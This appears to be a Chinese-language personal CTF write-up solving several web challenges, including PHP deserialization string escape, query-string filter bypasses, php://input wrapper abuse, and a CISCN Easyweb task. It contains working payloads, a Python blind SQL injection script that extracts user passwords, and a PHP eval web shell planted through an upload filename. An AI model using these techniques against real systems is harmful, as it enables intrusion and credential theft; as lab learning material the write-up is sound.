[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

去phpinfo里去搜.php发现 d0g3_f1ag.php

再利用file_get_contents去读取!

image-20210122124042528

感觉自己笨死了!

感觉它是反序列化字符逃逸把!

但是自己的脑子老是转晕了😶😶😶😶

当时就像想着img不能控制!忘了还有f参数!

又去看了看他的代码!!!c

$_POST这个数组可以自己构造!!!

<?php 

$_POST['a']=111;

extract($_POST);


echo $a;

image-20210122134945585

先看他正常的序列化结果!

string(100) "a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

变量覆盖

现在我们可以把序列化的内容通过POST传参变量覆盖下:

image-20210122140205608

反序列化字符逃逸

{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

string(65) "a:2:{s:4:"user";s:3:"tao";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"


现在必须让img是d0g3_f1ag.php
s:3:"img";s:13:"d0g3_f1ag.php";

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 38位


";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 40


flag

{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

{s:4:"user";s:5:"guest";s:8:"function";s:10:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

guest";s:8:"function";s:10:"把这部分吃掉 23

guest";s:8:"function";s:10:"" 24

flagflagflagflagflagflag 24

{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:10:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

过滤后:
{s:4:"user";s:24:"";s:8:"function";s:10:""
;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 41

{s:4:"user";s:24:"";s:8:"function";s:41:""";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";"
;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"


但是因为里面是3个变量!所以再加上一个!
;s:2:"dd";s:1:"a";}

"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:17:"upload_fist_Blood";}

80位

{s:4:"user";s:24:"";s:8:"function";s:80:""";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:17:"upload_fist_Blood";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"


_SESSION["user"]=flagflagflagflagflagflag

_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:17:"upload_fist_Blood";}

image-20210122144412586

靠坑呀:

_SESSION["user"]=flagflagflagflagflagflag&_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:18:"upload_first_Blood";} 

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"upload";s:18:"upload_first_Blood";}

带个双引号不行了!!!🙄

/d0g3_fllllllag

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]="";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:6:"upload";s:18:"upload_first_Blood";}

方法二

image-20210122152135078

{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

"a:2:{s:6:"UPLOAD";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}


";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 40

string(69) "a:2:{s:6:"UPLOAD";s:5:"11111";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

a:2:{s:8:"flagflag";s:40:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}


";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 41

";s:6:"upload";s:18:"upload_first_Blood";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

80

a:2:{s:8:"flagflag";s:40:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

a:2:{s:8:"flagflag";s:80:"";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

{s:8:"";s:80:"";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

_SESSION[flagaflag]=";s:6:"upload";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

"a:2:{s:9:"a";s:54:"";s:6:"upload";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

_SESSION[flagaflag]=";s:6:"upload";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[MRCTF2020]套娃


<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

[PHP获取当前url路径的函数及服务器变量:$_SERVER[“QUERY_STRING”],$_SERVER[“REQUEST_URI”],$_SERVER[“SCRIPT_NAME”],$_SERVER[“PHP_SELF”]]

https://www.cnblogs.com/qiantuwuliang/archive/2010/02/28/1675279.html

$_SERVER[“QUERY_STRING“]
说明:查询(query)的字符串

当输入:

view-source:http://88e20c01-fb88-4355-99c0-67b2e2152f44.node3.buuoj.cn/?b_u_p_t=23333a

$_SERVER[“QUERY_STRING“]=b_u_p_t=23333a

就会直接die!;

折磨绕过呢:

substr_count()函数计算子串在字符串中出现的次数 PS:子串区分大小写

不区分大小写!;

直接%5F

正则换行绕过

image-20210122161616064

HTML URL 编码参考手册

https://www.w3cschool.cn/htmltags/html-urlencode.html

?b%5Fu%5Fp%5Ft=23333%0A

error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }

为协议

知道了flag在flag.php里

考了http的head内容!php为协议!

2333=php://input
post:todat is a happy day

exp

把他的脚本倒过来写

<?php 

$v="flag.php";



$re="";


for($i=0;$i<strlen($v);$i++){
echo ord($v[$i])."\n";
echo ord($v[$i])-$i*2;
echo "\n";
$re .= chr ( ord ($v[$i]) - $i*2 );
}
echo base64_encode($re);

payload

?2333=php://input&file=ZmpdYSZmXGI=
post:todat is a happy day

[BSidesCF 2019]Kookie

image-20210122170908642

题目暗示的很明显了!要用cookie登录

image-20210122174909424

[CISCN2019 总决赛 Day2 Web1]Easyweb

image-20210122174931408

一开始以为:

<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>

是不是任意文件读取!!!想多了!!!

czlt-01.freexyz.cf

20010

文件备份泄露

image-20210122212256327

首先通过robots.txt发现存在.bak备份文件,尝试后获取到image.php.bak文件,代码如下:
打开得到源码:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

看着是sql注入!

但是

前面还有sql代码审计!

addslashes把特殊字符都转义!

image-20210123215244124

相当于过滤了:

\0 %00 \ ‘ ‘ 等4个字符!

image-20210123215206705

测试:

id=\0'&path= or 1=1%23

image-20210123220419752

image-20210123220525432

id=\\0'&path= or 1=1%23

image-20210123220552306

俩反斜杠页面影响!

image-20210123220617388

SQL注入

payload

 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#


爆破不了字段!还是直接猜吧!很明显!username|password

or id=if(ascii(substr((select username from users),{0},1))>1,1,0)%23


or id=if(ascii(substr((select username from users),%d,1))>%d,1,0)#

or if(ascii(substr((select username from users),%d,1))>%d,1,0)#"% (i, mid)

or if(ascii(substr((select username from users),%d,1))>%d,1,0)#"% (i, mid)
or if(ascii(substr((select password from users),%d,1))>%d,1,0)#"% (i, mid)

exp

import requests
import time

url = "http://688f6dab-67b4-4765-a0c7-850e75c4dfd6.node3.buuoj.cn/image.php"
result = ':'

for i in range(0, 30):
right = 127
left = 32
mid = int((right + left) >> 1)
while right > left:
#payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid)
#payload= "or if(ascii(substr((select username from users),%d,1))>%d,1,0)#"% (i, mid)
payload=" or if(ascii(substr((select password from users),%d,1))>%d,1,0)#"% (i, mid)
params = {
'id': '\\0',
'path': payload
}
response = requests.get(url, params=params)
#print(payload)

if "JFIF" in response.text:
left = mid + 1
else:
right = mid
mid = int((right + left) >> 1)

if response.status_code == 429:
print("fast")
time.sleep(2)

last = result
result += chr(left)
# if left!=33:
# result += chr(left)
# else:
# break
print(result)

dc1343c35f369a57a74f

有点问题🙄

爆数据库的时候他第一个是个空!所以直接if left!=32: 就退出了!!!直接输出算了!

文件上传

image-20210124105504303

我看网上说在PHP的配置文件(php.ini)中有一个short_open_tag的值,开启以后可以使用PHP的段标签:()。

同时,只有开启这个才可以使用 <?= 以代替 <? echo 。在CodeIgniter的视频教程中就是用的这种方式。

但是这个短标签是不推荐的,使用才是规范的方法。只是因为这种短标签使用的时间比较长,这种特性才被保存了下来。

我试了试发现就算不开short_open_tag!也能<?= 以代替 <? echo

所以我感觉!段标签只是代替了

但是<?= 啥事都能用!

短标签需要php.ini开启short_open_tag = On,但不受该条控制。

image-20210124111439313

看这个题

上传php不让!绕过不了!

随便上传发现!他把文件名写到了日志文件里了!

日志文件还是个php文件!

那把文件名换成木马就可以了!

<?=@eval($_POST[upload]);?>

logs/upload.bd02d3534d7e827518e88ade9ae77306.log.php

为啥上传不了!